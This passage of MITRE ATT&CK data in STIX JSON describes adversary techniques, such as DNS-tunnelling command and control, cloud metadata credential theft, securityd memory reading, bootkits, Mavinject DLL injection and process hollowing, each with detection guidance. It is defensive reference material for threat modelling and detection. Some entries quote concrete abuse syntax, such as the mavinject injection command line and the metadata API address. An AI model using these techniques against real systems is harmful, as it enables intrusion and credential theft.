","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Jan Petrov, Citi","Chris Heald"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","created":"2020-03-15T16:27:31.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071/004","external_id":"T1071.004"},{"source_name":"Medium DnsTunneling","description":"Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.","url":"https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"PAN DNS Tunneling","description":"Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.","url":"https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:24:20.219Z","name":"Cloud Instance Metadata API","description":"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.4","x_mitre_data_sources":["User Account: User Account Authentication"],"type":"attack-pattern","id":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","created":"2020-02-11T18:47:46.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/005","external_id":"T1552.005"},{"source_name":"AWS Instance Metadata API","description":"AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"},{"source_name":"RedLock Instance Metadata API 2018","description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"},{"source_name":"Krebs Capital One August 2019","description":"Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.","url":"https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:41:18.638Z","name":"Securityd Memory","description":"An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Access"],"type":"attack-pattern","id":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","created":"2020-02-12T18:56:31.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/002","external_id":"T1555.002"},{"source_name":"External to DA, the OS X Way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"},{"source_name":"Apple Dev SecurityD","description":"Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.","url":"https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"},{"source_name":"OS X Keychain","description":"Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.","url":"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"},{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-01-06T12:41:08.579Z","name":"Group Policy Discovery","description":"Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\n\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.","x_mitre_platforms":["Windows"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Ted Samuels, Rapid7","Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"],"x_mitre_data_sources":["Script: Script Execution","Active Directory: Active Directory Object Access","Process: Process Creation","Command: Command Execution","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","created":"2021-08-06T13:10:12.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1615","external_id":"T1615"},{"source_name":"ADSecurity GPO Persistence 2016","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.","url":"https://adsecurity.org/?p=2716"},{"source_name":"Microsoft gpresult","description":"Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"},{"source_name":"TechNet Group Policy Basics","description":"srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.","url":"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:47.417Z","name":"Bootkit","description":"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Drive: Drive Modification"],"x_mitre_defense_bypassed":["Host intrusion prevention systems","Anti-virus","File monitoring"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","created":"2019-12-19T21:05:38.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1542/003","external_id":"T1542.003"},{"source_name":"Mandiant M Trends 2016","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"},{"source_name":"Lau 2011","description":"Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.","url":"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"modified":"2024-10-15T16:30:50.936Z","name":"Data from Removable Media","description":"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["William Cain"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_system_requirements":["Privileges to access removable media drive and files"],"type":"attack-pattern","id":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","created":"2017-05-31T21:30:31.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1025","external_id":"T1025"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d","type":"attack-pattern","created":"2017-05-31T21:31:26.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1116","url":"https://attack.mitre.org/techniques/T1116"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"},{"url":"http://www.thesafemac.com/new-signed-malware-called-janicab/","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","source_name":"Janicab"},{"url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","source_name":"Securelist Digital Certificates"},{"url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","source_name":"Symantec Digital Certificates"}],"modified":"2020-02-05T18:59:28.671Z","name":"Code Signing","description":"Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Windows User Account Control"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","created":"2021-09-22T17:45:10.241Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.013","url":"https://attack.mitre.org/techniques/T1218/013"},{"source_name":"ATT Lazarus TTP Evolution","url":"https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution","description":"Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021."},{"source_name":"LOLBAS Mavinject","url":"https://lolbas-project.github.io/lolbas/Binaries/Mavinject/","description":"LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021."},{"source_name":"Mavinject Functionality Deconstructed","url":"https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e","description":"Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021."},{"source_name":"Reaqta Mavinject","url":"https://reaqta.com/2017/12/mavinject-microsoft-injector/","description":"Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)","modified":"2022-04-19T17:35:08.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mavinject","x_mitre_detection":"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f","type":"attack-pattern","created":"2019-09-04T14:41:32.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1522","url":"https://attack.mitre.org/techniques/T1522"},{"source_name":"AWS Instance Metadata API","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html","description":"AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."},{"description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse","source_name":"RedLock Instance Metadata API 2018"}],"modified":"2021-03-08T10:33:01.542Z","name":"Cloud Instance Metadata API","description":"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21","type":"attack-pattern","created":"2017-05-31T21:31:09.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1093","url":"https://attack.mitre.org/techniques/T1093"},{"url":"http://www.autosectools.com/process-hollowing.pdf","description":"Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.","source_name":"Leitch Hollowing"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2020-11-10T18:29:30.437Z","name":"Process Hollowing","description":"Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Whitelisting by file name or path","Signature-based detection","Anti-virus"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-08-26T16:28:39.920Z","name":"Local Data Staging","description":"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Massimiliano Romano, BT Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","Windows Registry: Windows Registry Key Modification","File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","created":"2020-03-13T21:13:10.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1074/001","external_id":"T1074.001"},{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:30:45.064Z","name":"Match Legitimate Name or Location","description":"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Metadata","Image: Image Metadata","Process: Process Metadata","Process: Process Creation"],"x_mitre_defense_bypassed":["Application Control"],"type":"attack-pattern","id":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","created":"2020-02-10T20:43:10.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/005","external_id":"T1036.005"},{"source_name":"Twitter ItsReallyNick Masquerading Update","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1055321652777619457"},{"source_name":"Docker Images","description":"Docker. (n.d.). Docker Images. Retrieved April 6, 